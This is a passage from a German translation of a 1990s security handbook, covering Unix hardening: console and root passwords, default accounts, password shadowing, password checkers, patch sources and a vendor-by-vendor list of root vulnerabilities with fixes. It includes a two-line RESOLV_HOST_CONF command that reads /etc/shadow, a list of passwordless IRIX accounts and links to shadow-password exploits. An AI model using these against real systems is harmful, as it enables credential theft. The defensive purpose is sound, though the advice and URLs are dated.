Windows NT Security Handbook. Tom Sheldon. Osborne McGraw-Hill, 1996. ISBN: 0078822408.
Windows NT Security: A Practical Guide to Securing Windows NT Servers and Workstations. Charles B.
Rutstein. McGraw-Hill, 1997. ISBN: 0070578338.
Windows NT Server 4 Security Handbook. Lee Hadfield, Dave Hatter und Dave Bixler. Que, 1997.
ISBN: 078971213X.
Windows NT Server and Unix: Administration, Co-Existence, Integration and Migration. G. Robert
Williams und Ellen Beck Gardner. Addison-Wesley Publishing Company, 1998. ISBN: 0201185369.
Windows NT Benutzer-Administration. Ashley J. Meggitt und Timothy D. Ritchey. O'Reilly &
Associates, 1998. ISBN: 3897211114.
WWW Security: How to Build a Secure World Wide Web Connection. Robert S. MacGregor, Alberto
Aresi und Andreas Siegert. Prentice Hall, 1996. ISBN: 0136124097.
17.5 Zusammenfassung
Windows NT ist eine ausgezeichnete Server-Plattform. Wie seine Entsprechungen ist jedoch auch
Windows NT nicht von sich aus sicher. Um einen sicheren Server zu betreiben, müssen Sie drei Dinge
tun:
Die in diesem Kapitel besprochenen Sicherheitslücken mit Hilfe von Patches schließen
Microsoft
file:///d|/cool stuff/old/hack/kap17.htm (38 von 39) [19.04.2000 21:15:00]
Die in anderen Kapiteln besprochenen Sicherheitsmethoden anwenden
Ständig die neuesten Entwicklungen verfolgen
Wenn Sie diese Dinge beachten, sollten Sie keine Probleme bekommen.
vorheriges
Kapitel
Inhaltsverzeichnis
Stichwortverzeichnis
Kapitelanfang
nächstes
Kapitel
Microsoft
file:///d|/cool stuff/old/hack/kap17.htm (39 von 39) [19.04.2000 21:15:00]
vorheriges
Kapitel
Inhaltsverzeichnis
Stichwortverzeichnis
nächstes
Kapitel
18
Unix - die große Herausforderung
Ein Unix-Netzwerk zu sichern, ist sogar für erfahrene Anwender eine furchteinflößende Aufgabe.
Seltsamerweise sind heutzutage sogar nicht mit Unix vertraute Anwender bereit, dies zu versuchen.
18.1 Sicherheit von Anfang an
Sicherheit beginnt bei der Installation, also werden wir auch mit dieser beginnen und uns dann weiter
vorarbeiten. Dieser erste Abschnitt behandelt folgende Themen:
Physikalische Sicherheit
Sicherheit an der Konsole
Installationsmedien
Paßwortsicherheit
Patches
18.2 Die physikalische Sicherheit
Ihr Unix-Rechner ist immer nur so sicher wie sein Standort. Deshalb sollten Sie ihn vor böswilligen
Anwendern abschirmen. In RFC 1244 steht folgendes:
Eine grundlegende Tatsache bei der Computersicherheit ist, daß, wenn der Rechner selbst
nicht physikalisch sicher ist, das ganze System nicht mehr als sicher angesehen werden
kann. Ein Nutzer mit physikalischem Zugang zum Rechner kann ihn anhalten, ihn im
privilegierten Modus wieder hochfahren, die Festplatte austauschen oder verändern,
Trojanische Pferde einschleusen oder eine Vielzahl anderer unerwünschter (und schwer zu
verhindernder) Aktionen durchführen. Kritische Datenübertragungsverbindungen, wichtige
Server und andere wichtige Rechner müssen an physikalisch sicheren Standorten stehen.
Ihr Rechner sollte so wenig wie möglich dem Kontakt mit nicht vertrauenswürdigem Personal ausgesetzt
sein. Wenn das nicht machbar ist (und der Rechner in feindlichem Gebiet stehen muß), sollten Sie eines
der Produkte in Tabelle 18.1 einsetzen.
Unix - die große Herausforderung
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Tabelle 18.1: Produkte zur Erhöhung der physikalischen Sicherheit
Produkt Beschreibung und Adresse
DOMUS ITSS DOMUS ITSS ist kein Produkt, sondern ein Beratungsdienst. DOMUS berät
(besonders Behörden und Unternehmen) bei der Installation und Konfiguration von
biometrischen Authentifizierungsgeräten.
http://www.domus.com/itss/bio-adv-card.html
IrisScan IrisScan ist ein biometrisches Authentifizierungssystem für Netzwerke, das bis zu
256 Workstations pro LAN-Abschnitt unterstützt. Anwender werden durch das
einmalige Muster ihrer Iris identifiziert. http://www.iriscan.com/
PC Guardian PC-Guardian-Produkte umfassen Diskettenschlösser und physikalische
Zugriffskontrollgeräte für IBM-kompatible Rechner. Wenn Sie einen Linux-, SCO-,
SolarisX86- oder Xenix-Rechner haben, sehen Sie hier nach:
http://www.pcguardian.com/
Barracuda
Security Physikalische Sicherheitsvorkehrungen für IBM-Kompatible (wie z.B. automatische
Pager, die Sie warnen, wenn ein unbefugter Zugriff erfolgt ist).
http://www.barracudasecurity.com/
PHAZER Entwickelt von Computer Security Products, Inc., ist PHAZER ein
Glasfaser-Device, das physikalische Eingriffe erkennt. (Dann wird ein Alarm
ausgelöst.) PHAZER ist gut zur Sicherung von Universitätsrechenzentren oder
anderen großen Netzwerken geeignet.
http://www.computersecurity.com/fiber/index.html
Wenn Sie noch keine Richtlinien für physikalische Sicherheit haben, sollten Sie welche aufstellen. Lesen
Sie außerdem einige der folgenden Veröffentlichungen:
Site Security Handbook. Internet Draft, Juli 1997, und Nachfolger des RFC 1244. Dieses
Dokument beinhaltet einige ausgezeichnete Hinweise zur physikalischen Sicherheit.
http://www.cert.dfn.de/eng/resource/ietf/ssh/draft-05.txt
Computer Room Physical Security Guide. Vom Department of Defense Health Affairs.
http://www.ha.osd.mil/dmim/security/comprm.html
Report on the Follow-Up Audit of Physical Security of the Local Area Network. Kommentar
zu einem Bericht des Office of Inspector General über physikalische Computersicherheit. Enthält
einige unentbehrliche Informationen.
http://www.fcc.gov/Bureaus/Inspector_General/Reports/rep96-1.txt
18.3 Konsolensicherheit
Die Konsolensicherheit ist ein weiteres wichtiges Thema. Zwei Dinge sind besonders bedenklich:
Konsolen- und Einzelplatz-Paßwörter
Das Root-Paßwort
Unix - die große Herausforderung
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Wir wollen beide kurz besprechen.
18.3.1 Konsolenpaßwörter
Konsolenpaßwörter sind an Unix-Workstations üblich. Je nach Ihrer Architektur kann ein Eindringling
diese Paßwörter verwenden, um unterschiedliche Ziele zu erreichen.
Bei der X86-Architektur sollten Sie das BIOS-Paßwort aktivieren. Wenn Sie dies nicht tun, können
lokale Eindringlinge Denial-of-Service-Attacken ausüben oder sogar Daten zerstören. Viele
BIOS-Systeme beinhalten heute Programme zur Formatierung oder Oberflächenanalyse von Festplatten,
die alle Daten auf der Festplatte vernichten können. Außerdem bieten die meisten modernen
BIOS-Systeme Zugriff auf serielle und parallele Schnittstellen oder andere Hardware, die zum Export
oder Import von Informationen verwendet werden kann. Und wenn Sie SCSI-Geräte benutzen, werden
Sie Eindringlinge daran hindern wollen, auf die SCSI-Utilities zuzugreifen. Viele dieser Utilities werden
beim Booten oder beim Ansprechen des SCSI-Adapters geladen. Ein gutes Beispiel dafür sind die
Adaptec-Produkte: Die SCSI-Adapter-Software ermöglicht es Eindringlingen, neue Festplatten
hinzuzufügen, vorhandene zu formatieren und so weiter.
Unix-Workstations haben ähnliche Probleme. Sie sollten das PROM-Paßwort (und Konsolenpaßwort)
sofort bei der Installation aktivieren. Dieses Paßwort kann Eindringlingen je nach Architektur
unterschiedliche Dinge ermöglichen. Viele Systeme unterstützen Einzelplatzmodi. Bestimmte
DEC-Stationen (besonders 3100) ermöglichen Ihnen, Ihre Boot- Optionen zu bestimmen:
Wenn eine DEC-Workstation ausgeliefert wird, läuft das Konsolensystem zuerst im
privilegierten Befehlsmodus. Wenn Sie keine Änderungen vornehmen, gibt es keine
Einschränkungen für Konsolenbefehle. Jeder, der physikalisch auf die Konsole zugreifen
kann, kann beliebige Konsolenbefehle ausführen, wobei das interaktive Booten am
gefährlichsten ist.
Wegweiser:
Der obige Absatz stammt aus CIAC-2303, The Console Password for DEC Workstations, von Allan L.
Van Lehn. Sie finden dieses ausgezeichnete Dokument unter http://ciac.llnl.gov/ciac/documents/.
Eindringlinge können das interaktive Booten nutzen, um privilegierten Zugang zu erhalten und Daten zu
zerstören oder Ihr System herunterzufahren.
Hinweis:
Einige Workstations haben auch physikalische Schwächen, die im allgemeinen mit der PC-Plattform
assoziiert werden. Z.B. führt das Entfernen des nvram-Chips bei Indigo-Workstations zum Löschen des
PROM-Paßworts.
18.3.2 Das Root-Paßwort
Direkt nach Abschluß der Installation sollten Sie das Root-Paßwort setzen. Viele Distributionen, wie
SunOS oder Solaris, fordern Sie dazu auf. Dies ist die letzte Option vor dem Reboot (SunOS) oder
Hochfahren (Solaris). Einige Distributionen (z.B. Linux Slackware oder AIX) erzwingen jedoch keine
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Paßwortangabe vor dem ersten Booten. Wenn Sie eines dieser Systeme verwenden, müssen Sie das
Root-Paßwort sofort beim ersten Einloggen setzen.
18.4 Installationsmedien
Gleich danach sollten Sie Ihre Installationsmedien sichern, da diese sonst dazu mißbraucht werden
könnten, in Ihr System einzudringen. Ein gutes Beispiel ist AT&T Unix, besonders SVR3 und V/386.
Böswillige Anwender können in das System eindringen, indem sie mit einer Diskette booten und die
»Magic Mode«-Option wählen, durch die sie an eine Shell gelangen.
Auch CD-ROM-Installationsmedien ermöglichen Eindringlingen den Zugang. Wenn Ihre
Sun-Workstation zugänglich und das Installationsmedium verfügbar ist, kann jeder den Rechner
anhalten, mit der Installations-CD booten und Ihre Festplatte überschreiben. (Dieser Angriff ist nicht auf
SunOS oder Solaris beschränkt. Durch Ändern der SCSI-ID oder einfaches Abtrennen der Festplatte
können Eindringlinge ein AIX-System zu einem Neustart von CD-ROM zwingen.) Sogar in
Linux-Systeme kann auf diese Art eingebrochen werden; bewahren Sie Ihre Installationsmedien also
unbedingt an einem sicheren Ort auf.
18.5 Default-Konfigurationen
Als nächstes müssen Sie sich den betriebssystemspezifischen Voreinstellungen zuwenden. Die meisten
Unix-Versionen haben ein oder mehrere voreingestellte Accounts oder Paßwörter. (Einige haben sogar
paßwortfreie Accounts.) Bevor Sie mit dem nächsten Schritt fortfahren (Systemintegrität) müssen Sie
diese Sicherheitslücken schließen.
IRIX ist ein gutes Beispiel dafür. Bestimmte IRIX-Versionen haben riesige Sicherheitslöcher in ihrer
Default-Konfiguration. Für die folgenden Accounts ist kein Paßwort zum Einloggen erforderlich:
lp (line printer)
guest
4Dgifts
demos
jack
jill
backdoor
tutor
tour
Andere Systeme haben ähnliche Probleme, wie z.B. Default-Accounts, deren Paßwörter allgemein
bekannt sind.
Hinweis:
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Default-Accounts liefern Eindringlingen schon die Hälfte der Informationen, die sie benötigen. Ein
typisches Beispiel ist der col-Account bei Caldera OpenLinux. Andere Probleme sind Test-Scripts und
Muster-Benutzeraccounts, die Eindringlingen oft einen roten Teppich auslegen. Wenn Sie Linux
verwenden, installieren Sie auf keinen Fall die vorgegebenen Benutzer, die mit dem sudo-Paket geliefert
werden. Wenn Sie es doch tun, sollten Sie sicher sein, daß Sie richtig mit sudo umgehen können.
18.6 Paßwortsicherheit
Sie werden an Ihrem Rechner wahrscheinlich mehr als einen Benutzer arbeiten lassen (wahrscheinlich
Dutzende). Bevor Sie den Rechner für das Netzwerk freigeben, sollten Sie sich der Paßwortrichtlinie
zuwenden.
Jedes Paßwortsystem hat irgendeine angeborene Schwäche. Das ist bedenklich, weil Paßwörter das
Herzstück des Sicherheitsschemas von Unix darstellen. Jede Gefährdung der Paßwortsicherheit kann
fatale Auswirkungen haben. Deshalb sollten Sie proaktive Paßwort- Utilities, wirksame
Verschlüsselungsmethoden (wann immer dies möglich ist) und Paßwort- Shadowing installieren.
Hinweis:
Beim Paßwort-Shadowing enthält die Datei /etc/passwd nur Token (oder Symbole), die als abstrakte
Darstellungen der wirklichen, verschlüsselten Paßwörter der Benutzer dienen. Das wirkliche Paßwort
ist an einer anderen Stelle auf der Festplatte gespeichert, auf die Cracker nicht zugreifen können.
Wenn Sie kein Shadowing verwenden, können lokale Benutzer sich den Inhalt von /etc/ passwd ansehen.
Die Paßwörter sind zwar verschlüsselt, aber einfach zu knacken, wenn Ihre Benutzer keine sicheren
Paßwörter verwenden.
18.6.1 Installation des Paßwort-Shadowing
Wenn Ihre Distribution Shadowing nicht von Haus aus unterstützt, empfehle ich Ihnen das
John-F.-Haugh-II-Shadow-Paket. Es ermöglicht nicht nur grundlegendes Paßwort-Shadowing, sondern
auch Paßwörter mit 16 Zeichen Länge (gegenüber den herkömmlichen 8 Zeichen Länge). Außerdem
bietet es noch die folgenden Möglichkeiten:
Paßwortalterung
Tools zur Beschränkung der Ports, von denen ein Root-Login möglich ist
Aufzeichnung fehlgeschlagener Login-Versuche
Eine Funktion zur Prüfung von Benutzer-Paßwörtern und Einschätzung ihrer Sicherheit
Erzwingen von Paßwort-Prompts, sogar bei Logins, die eigentlich kein Paßwort erfordern
Wegweiser:
Shadow finden Sie unter dieser Adresse:
http://www.assist.mil/ASSIST/policies/tools/security/unix/shadow.tar
Es gibt mehrere speziell für Linux geschriebene Tools für das Paßwort-Shadowing. Zwei davon sind:
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Shadow in a Box von Michael Quan. Shadow in a Box ist eine Sammlung von Utilities zur
Verwaltung Ihrer Shadow-Paßwörter. Das Paket enthält Tools für FTP, POP, sudo und xlock
sowie eine kompakte und eine umfangreiche Crack-Bibliothek. Sie finden es hier:
http://sunsite.unc.edu/pub/Linux/system/admin/shadow-ina-box-1.2.tgz
The Linux Shadow Password Suite von Julianne F. Haugh. Dieses Paket enthält viele gute Tools
zur Verwaltung Ihrer Shadow- und Nicht-Shadow-Paßwörter. (Auch SunOS wird unterstützt). Das
Paket erhalten Sie unter: http://sunsite.unc.edu/pub/Linux/ system/admin/shadow-971215.tar.gz.
Wenn Sie mehr über Shadow-Paßwörter erfahren wollen (und Unix-Paßwortsicherheit im allgemeinen)
empfehle ich Ihnen folgende Informationsquellen:
The Linux Shadow Password HOWTO. Aktuelle Version April 1998.
http://www.tscnet.com/sysop/mhjack/SHADOW-HOWTO/SHADOW-HOWTO.html.
Foiling the Cracker: A Survey of, and Improvements to, Password Security. Daniel V. Klein.
http://www.um.es/~humberto/art/password.ps.
OPUS: Preventing Weak Password Choices. Eugene Spafford. http://
www.alw.nih.gov/Security/FIRST/papers/password/opus.ps.
Unix Password Security - Ten Years Later. David C. Feldmeier und Philip
R. Karn. http://www.alw.nih.gov/Security/FIRST/papers/password/pwtenyrs.ps.
Unix Password Security. http://www.iaehv.nl/users/gigawalt/TXT/pwseceng.txt.
Password Security: A Case History. R. Morris, K. Thompson http://www.alw.nih.gov/
Security/FIRST/papers/password/pwstudy.ps.
Sie sollten jedoch wissen, daß einige Paßwort-Shadowing-Systeme auch durch andere Programme
angegriffen werden können. Es gibt dafür mehrere Exploits. Bevor Sie fortfahren, sollten Sie Ihr System
mit Hilfe der in Tabelle 18.2 aufgeführten Exploits überprüfen.
Tabelle 18.2: Exploits zum Überwindern von Paßwort-Shadowing
Exploit Kurze Beschreibung und Adresse
imapd-Sicherheitsloch imapd-Core-Dumps in Linux können Shadow-Paßwörter enthalten.
http://underground.simplenet.com/central/linux-ex/imapd_core.txt
FTP-Sicherheitsloch Unter Solaris 2.5 hat FTP einen Fehler, der dazu führen kann, daß
Shadow-Paßwörter preisgegeben werden.
http://www.unitedcouncil.org/c/wuftpd-sdump.sh
Telnet-Sicherheitsloch Unter Linux können Sie bei Verwendung von Telnet einen Core-Dump
erzwingen. Der Dump enthält Shadow-Paßwörter.
http://www.rootshell.com/archive-ld8dkslxlxja/199707/telnet_core.txt
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shadowyank Unter Ausnutzung eines weiteren FTP-Sicherheitslochs holt shadowyank sich
Shadow-Paßwörter aus FTP-Core-Dumps.
http://www.asmodeus.com/archive/Xnix/SHADOWYANK.C
imapd-crash imapd kann zum Absturz gebracht werden und der resultierende Dump
Shadow-Paßwörter enthalten.
http://www-jcr.lmh.ox.ac.uk/rootshell/hacking/imapd_4.1b.txt
Hinweis:
Einige Plattformen sind auch mit dem folgenden Angriff zu knacken:
$ export RESOLV_HOST_CONF=/etc/shadow
$ rlogin /etc/shadow
Die folgenden Man-Pages beinhalten Informationen zu Paßwortsicherheit und Shadowing:
shadow
passwd
pwconv und pwunconv
nispasswd
yppasswd
getpwnam
putspent
18.7 Installation eines Programms zur proaktiven
Paßwortprüfung
Als nächstes müssen Sie eine proaktive Paßwortprüfung installieren. Diese dient zum Eliminieren
schwacher Paßwörter, bevor sie der passwd-Datei übergeben werden. Das funktioniert folgendermaßen:
Wenn ein Benutzer sein Paßwort eingibt, wird es mit einer Wortliste und einer Reihe von Regeln
verglichen. Wenn das Paßwort diese Prüfung nicht besteht und sich als schwaches Paßwort herausstellt,
wird der Benutzer aufgefordert, sich ein neues Paßwort auszudenken.
Ist diese proaktive Paßwortprüfung wirklich erforderlich? Ja. Anwender sind faul. Wenn sie aufgefordert
werden, ein Paßwort anzugeben, nehmen sie grundsätzlich eines, das leicht zu knacken ist, z.B. Namen
von Kindern, Geburtsdaten oder Abteilungsnamen. Bei Systemen ohne proaktive Paßwortprüfung
bleiben diese schwachen Paßwörter unentdeckt, bis der Systemadministrator »dazu kommt«, sie mit
einem Tool zum Knacken von Paßwörtern zu überprüfen. Bis das soweit ist, ist es oft schon zu spät.
Passwd+
Zur proaktiven Paßwortprüfung empfehle ich Ihnen passwd+ von Matt Bishop. Es bietet folgende
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Funktionen:
Umfassende Protokollierungsmöglichkeiten (einschließlich der Protokollierung jeder Sitzung, wie
z.B. einer erfolgreichen oder fehlgeschlagenen Paßwortänderung).
Festlegung der Anzahl signifikanter Zeichen in dem Paßwort (d.h. wie viele beim Test verwendet
werden sollen).
Außerdem ermöglicht passwd+ Ihnen die Festlegung der Fehlermitteilungen, die ausgegeben
werden, wenn ein Benutzer ein schwaches Paßwort vorschlägt. Sie sollten diese Funktion nutzen,
um die Benutzer darüber aufzuklären, warum ihre Paßwörter nicht akzeptabel sind.
Wegweiser:
Matt Bishops passwd+ finden Sie unter:
ftp://ftp.assist.mil/pub/tools/passwd_utils/passwd+.tar.Z
Um mehr Informationen zu passwd+ (und der Theorie, die dahinter steckt) zu bekommen, sollten Sie
sich A Proactive Password Checker, Dartmouth Technical Report PCS-TR90- 152, besorgen. Er ist nicht
über das Internet verfügbar, aber Sie können per E-Mail einen Ausdruck anfordern:
http://www.cs.dartmouth.edu/cgi-bin/mail_tr.pl?tr=TR90-152.
anlpasswd
Ein weiteres gutes Programm zur proaktiven Paßwortprüfung ist anlpasswd vom Argonne National
Laboratory. anlpasswd (das teilweise in Perl geschrieben ist) verwendet die Wörterbuchdatei Ihrer Wahl,
und Sie können eigene Regeln aufstellen. Einige der mitgelieferten Regeln sind:
Zahlen mit Leerzeichen und Leerzeichen mit Zahlen
Groß- und Kleinschreibung mit Leerzeichen
Alles groß oder klein geschrieben
Alles Zahlen
Großbuchstaben und Zahlen als 1. Zeichen
Alle Kombinationen der obigen Dinge
Wegweiser:
anlpasswd finden Sie unter:
ftp://coast.cs.purdue.edu/pub/tools/unix/anlpasswd/anlpasswd- 2.3.tar.Z.
Hinweis:
Wenn Sie Solaris 2.2 verwenden, werden Sie auch die Modifizierungsdateien benötigen:
ftp://coast.cs.purdue.edu/pub/tools/unix/anlpasswd/anlpasswd.solaris2.2.modifications .
npasswd
npasswd (von Clyde Hoover) ist mehr als ein einfaches Programm zur proaktiven Paßwortprüfung. Die
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Dokumentation beschreibt es so:
npasswd ist ein Ersatz für den passwd(1)-Befehl für Unix und Unix-ähnliche
Betriebssysteme. Es unterzieht Benutzer-Paßwörter strengen Rateprüfungen, um die Gefahr
zu verringern, daß Benutzer schwache Paßwörter wählen. npasswd ist dafür geeignet, die
Standardprogramme zur Paßwortänderung passwd, chfn und chsh zu ersetzen.
npasswd ist eine umfassende Lösung und kann viel zu Ihrer Paßwortsicherheit beitragen. Wenn Sie
Solaris 2.5 verwenden, werden Sie allerdings Funktionseinbußen hinnehmen müssen. (Sun änderte das
NIS-passwd-API beim Übergang zu NIS+. Deshalb unterstützen auch die neuesten Versionen von
npasswd NIS+ nicht.)
Wegweiser:
Die Dokumentation zu npasswd finden Sie unter: http://uts.cc.utexas.
edu/~clyde/npasswd/doc/.
npasswd bekommen Sie unter:
http://uts.cc.utexas.edu/~clyde/npasswd/.
18.8 Patches
Der nächste Schritt ist, alle aktuellen Patches für Ihr Betriebssystem zu installieren. Wenn Sie brandneue
Installationsmedien haben, sind die aktuellen Patches wahrscheinlich schon enthalten. Wenn Ihre
Installationsdateien aber älter als 90 Tage sind, müssen Sie sich aktuellere Informationen besorgen.
In Tabelle 18.3 sind einige Adressen aufgeführt, an denen Sie Patches für populäre Unix- Plattformen
finden.
Tabelle 18.3: Bezugsquellen für Patches
Plattform Bezugsquelle
AIX (IBM) http://www.ers.ibm.com/tech-info/index.html
FreeBSD/OpenBSD ftp://ftp.openbsd.org/pub/OpenBSD/patches/
HP-UX http://us-support.external.hp.com/
IRIX http://www.sgi.com/Support/security/patches.html
NeXT ftp://ftp.next.com/pub/NeXTanswers/Files/Patches/
SCO ftp://ftp.sco.com/SLS/
SunOS/Solaris http://sunsolve.sun.com/sunsolve/pubpatches/
Hinweis:
Unix - die große Herausforderung
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Linux-Benutzer sollten sich an ihren jeweiligen Distributor wenden.
18.9 Spezielle Sicherheitslücken
Da nicht alle Patch-Pakete vollständig sind und ältere Patches schwer zu finden sind, habe ich eine
spezielle Liste zusammengestellt. Diese Liste beinhaltet die ärgsten Sicherheitslükken ausgewählter
Plattformen. Bevor Sie mit dem Abschnitt über die Systemintegrität fortfahren, sollten Sie Ihr System auf
die in der Liste angeführten Sicherheitslöcher überprüfen.
Hinweis:
Dies sind nur die sehr kritischen Sicherheitslücken. Die Liste ist nicht vollständig und deckt nur
bestimmte Plattformen ab. Wenn Sie nach einer langen Liste aktueller Exploits suchen, ist dies nicht der
richtige Ort. Eine solche Liste finden Sie am Ende dieses Kapitels.
18.9.1 Kritische Schwachstellen: AIX
bugfiler
Versionen oder Anwendung: AIX 3.x
Auswirkungen: bugfiler-Binaries werden SUID-Root installiert. Lokale Benutzer können sich
Root-Privilegien aneignen.
Abhilfe: Entfernen Sie das SUID-Bit der bugfiler-Binärdateien.
Weitere Informationen: http://www.njh.com/latest/9709/970909-03.html
Beigetragen von: Johannes Schwabe
crontab
Versionen oder Anwendung: AIX 3.2
Auswirkungen: Lokale Benutzer können sich Root-Privilegien aneignen.
Abhilfe: http://service.software.ibm.com/rs6000/
Weitere Informationen: http://www.sw.com.sg/Download/cert_advisories/CA-
92:10.AIX.crontab.vulnerability
Beigetragen von: CERT
dpsexec
Versionen oder Anwendung: dpsexec
Auswirkungen: Lokale Benutzer können sich Root-Privilegien aneignen. (dpsexec ist ein
PostScript-Interpreter/Kommando-Programm, mit dessen Hilfe Sie interaktiv PostScript- Code
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durchgehen können.)
Abhilfe: unbekannt
Weitere Informationen: http://geek-girl.com/bugtraq/1994_3/0038.html
Beigetragen von: Sam Hartman
Hinweis:
Ein Hinweis an das IBM-RS/6000-Sicherheitsteam: Wenn Sie die Adressen von Sicherheits-Patches in
mehreren Sicherheitslisten posten, verschieben Sie sie bitte nicht an andere Orte (oder wenn doch,
sorgen Sie für aktuelle Umleitungen). In allen möglichen Listen und Archiven taucht die Adresse
ftp://software.watson.ibm.com auf, obwohl dort keine Patches mehr zu finden sind. Ähnliches geschieht
unter ftp://testcase.software.ibm.com/aix/ fromibm/. Nicht jeder hat immer die neuesten Medien zur
Verfügung. Auch Leute, die ältere RS/6000-Rechner mit älteren AIX-Distributionen kaufen, brauchen
Patches.
dtterm
Versionen oder Anwendung: AIX 4.2 dtterm
Auswirkung: Ein Puffer-Überlauf in dtterm bringt eine Root-Shell hervor. Lokale Benutzer können sich
Root-Privilegien aneignen.
Abhilfe: chmod -s /usr/dt/bin/dtterm
Weitere Informationen: http://mayor.dia.fi.upm.es/~alopez/bugs/bugtraq/0239.html
Beigetragen von: Georgi Guninski
FTP
Versionen oder Anwendung: AIX 3.2, 4.1, 4.2 FTP
Auswirkungen: Entfernte Server können beliebige Befehle auf Client-Rechnern ausführen.
Abhilfe: IBM empfiehlt, das setuid-Bit des ftp-Befehls zu entfernen. Einige Leute haben dadurch jedoch
Probleme bekommen, da FTP ohne setuid nicht läuft (zumindest auf 4.2.1).
Weitere Informationen: http://geek-girl.com/bugtraq/1997_3/0626.html
Beigetragen von: Andrew Green
gethostbyname()
Versionen oder Anwendung: AIX 3.2-4.2x & gethostbyname()
Auswirkungen: Puffer-Überlaufe können eine Root-Shell hervorbringen.
Abhilfe: APAR IX60927, IX61019 oder IX62144
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Weitere Informationen: http://ciac.llnl.gov/ciac/bulletins/h-13.shtml
Beigetragen von: Georgi Guninski
login
Versionen oder Anwendung: AIX 3.2-4.2x
Auswirkungen: Entfernte Benutzer können Root-Zugang erlangen. (Login wird -fuser-
Befehlszeilenargumente für entfernte Clients erfolgreich parsen. Dies ist auch bei einigen
Linux-Versionen ein Problem.)
Abhilfe: APAR IX44254
Weitere Informationen:
http://www.xnet-consulting.argosnet.com/security/ciac/bulletins/e-fy94/ciacfy94.txt
Beigetragen von: unbekannt
18.9.2 Kritische Schwachstellen: IRIX
handler
Versionen oder Anwendung: handler
Auswirkungen: /cgi-bin/handler akzeptiert beliebige Befehle als angehängte Argumente. Jeder - lokal
oder entfernt - kann auf diese Weise auf Ihrem Rechner Befehle ausführen.
Abhilfe: ftp://sgigate.sgi.com/
Weitere Informationen: http://www.geek-girl.com/bugtraq/1997_3/0148.html
Beigetragen von: Wolfram Schneider
webdist.cgi
Versionen oder Anwendung: webdist.cgi
Auswirkungen: IRIX Mindshare Outbox verwendet ein Script namens webdist.cgi bei den Routinen für
Installationen über das Netzwerk. Aufgrund fehlerhafter Berechtigungen und einer fehlenden
Überprüfung von Argumenten, die an das Programm übergeben werden, können lokale und entfernte
Benutzer beliebigen Code mit der httpd-UID ausführen. (Sie lassen httpd doch nicht als Root laufen,
oder?).
Abhilfe: ftp://sgigate.sgi.com/
Weitere Informationen: http://www.sgi.ethz.ch/secadv/msg00003.html
Beigetragen von: Grant Haufmann und Chris Sheldon
Hinweis:
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Wenn Sie 6.2 frisch installiert haben, sehen Sie einmal in /cgi-bin nach. Sie werden mehr als zwei
Dutzend Beispiel-cgi-Scripts finden, von denen einige setuid-Root sind. Löschen Sie diese Dateien,
bevor Sie mit Ihrem Rechner ans Netz gehen, oder Sie sind garantiert verloren.
xdm
Versionen oder Anwendung: X Display Manager auf 5.3
Auswirkungen: Version 5.3 hat standardmäßig eine Xsession-Datei mit aktiviertem xhost+, wodurch der
Server jeden gültigen Client akzeptiert.
Abhilfe: Deaktivieren Sie xhost+.
Beigetragen von: unbekannt
Line Printer Login
Versionen oder Anwendung: lp login - IRIX 6.2
Auswirkungen: Das Paßwort für den lp-Account ist Null.
Abhilfe: Sperren Sie das lp-Paßwort in /etc/passwd.
Beigetragen von: unbekannt
18.9.3 Kritische Remote-Schwachstellen: SunOS und Solaris
syslogd
Versionen oder Anwendung: SunOS 4.1.x
Auswirkungen: syslogd ist der Gefahr von Puffer-Überlaufen ausgesetzt, die es entfernten Angreifern
ermöglichen, Root-Zugang zu erlangen.
Abhilfe: Wenden Sie sich an Sun.
Weitere Informationen: http://www.dice.ucl.ac.be/crypto/olivier/cq/msgs/ msg00089.html
Beigetragen von: 8LGM
rlogin
Versionen oder Anwendung: SunOS und Solaris (generell)
Auswirkungen: rlogin hat einen Puffer-Überlauf, der es entfernten Angreifern ermöglicht, Root-Zugang
zu erlangen.
Abhilfe: Unter http://sunsolve.sun.com/sunsolve/pubpatches/patches.html finden Sie die folgenden
Patches:
SunOS 5.5.1 104650-02
Unix - die große Herausforderung
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SunOS 5.5.1_x86 104651-02
SunOS 5.5 104669-02
SunOS 5.5_x86 104670-02
SunOS 5.4 105254-01
SunOS 5.4_x86 105255-01
SunOS 5.3 105253-01
SunOS 4.1.4 105260-01
SunOS 4.1.3_U1 105259-01
Weitere Informationen: http://ciac.llnl.gov/ciac/bulletins/h-25a.shtml
Beigetragen von: CERT
statd
Versionen oder Anwendung: SunOS und Solaris (generell)
Auswirkungen: statd ist der Gefahr eines Puffer-Überlaufs ausgesetzt. Dadurch können entfernte
Angreifer Root-Privilegien zum Erzeugen und Löschen von Dateien erhalten. Das ist äußerst gefährlich,
und der Exploit-Code hat schon die Runde gemacht. Einige Leute berichten jedoch, daß dieser Bug auf
SPARC-Plattformen nicht annähernd so kritisch ist wie auf X86.
Abhilfe: Patch-ID# 104167-02 vom November 1997
Weitere Informationen: http://rtfm.ml.org/archives/bugtraq/Nov_1997/msg00181.html
Beigetragen von: anonym
18.9.4 Kritische Schwachstellen: Linux
rcp
Versionen oder Anwendung: Red Hat und Slackware
Auswirkungen: Benutzer nobody kann ein Sicherheitsloch in rcp ausnutzen, das entfernten Angreifern
Root-Zugriff gibt. (Läuft bei Ihnen NCSA-httpd?).
Abhilfe: Ändern Sie die UID von Nobody.
Weitere Informationen: http://www.geek-girl.com/bugtraq/1997_1/0113.html
Beigetragen von: Miro Pikus
ftp
Versionen oder Anwendung: Slackware und AIX
Auswirkungen: Ein seltsames Sicherheitsloch: Entfernte FTP-Server können lokale FTP- Clients dazu
bringen, beliebige Befehle auszuführen.
Unix - die große Herausforderung
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Abhilfe: Für Linux keine bekannt. Für AIX siehe URL.
Weitere Informationen: http://www.unitedcouncil.org/sploits/ftp_mget.html
Beigetragen von: ers@VNET.IBM.COM
imapd
Versionen oder Anwendung: Red Hat und Slackware
Auswirkungen: Entfernte Benutzer können das lokale Root-Paßwort in White Space ändern, indem sie
ein Sicherheitsloch von imapd ausnutzen.
Abhilfe: Wenden Sie sich an Red Hat (http://www.redhat.com/support/docs/errata.html). Sie haben einen
Fix herausgegeben.
Weitere Informationen: http://www.njh.com/latest/9706/970624-07.html
Beigetragen von: Tetsu Khan
18.10 Der nächste Schritt: Überprüfung der Dienste
Wir nehmen jetzt einmal an, daß Sie die Workstation gesichert haben. Das Shadowing ist aktiviert und
nur starke Paßwörter werden akzeptiert. Nun ist es Zeit, zu überlegen, wie Ihre Workstation mit der Welt
außerhalb Ihres Netzes zurechtkommen wird.
18.10.1 Die r-Utilities
rlogin und rsh sind für Sicherheitslöcher bekannt. Einige Linux-Distributionen beherbergen z.B. ein
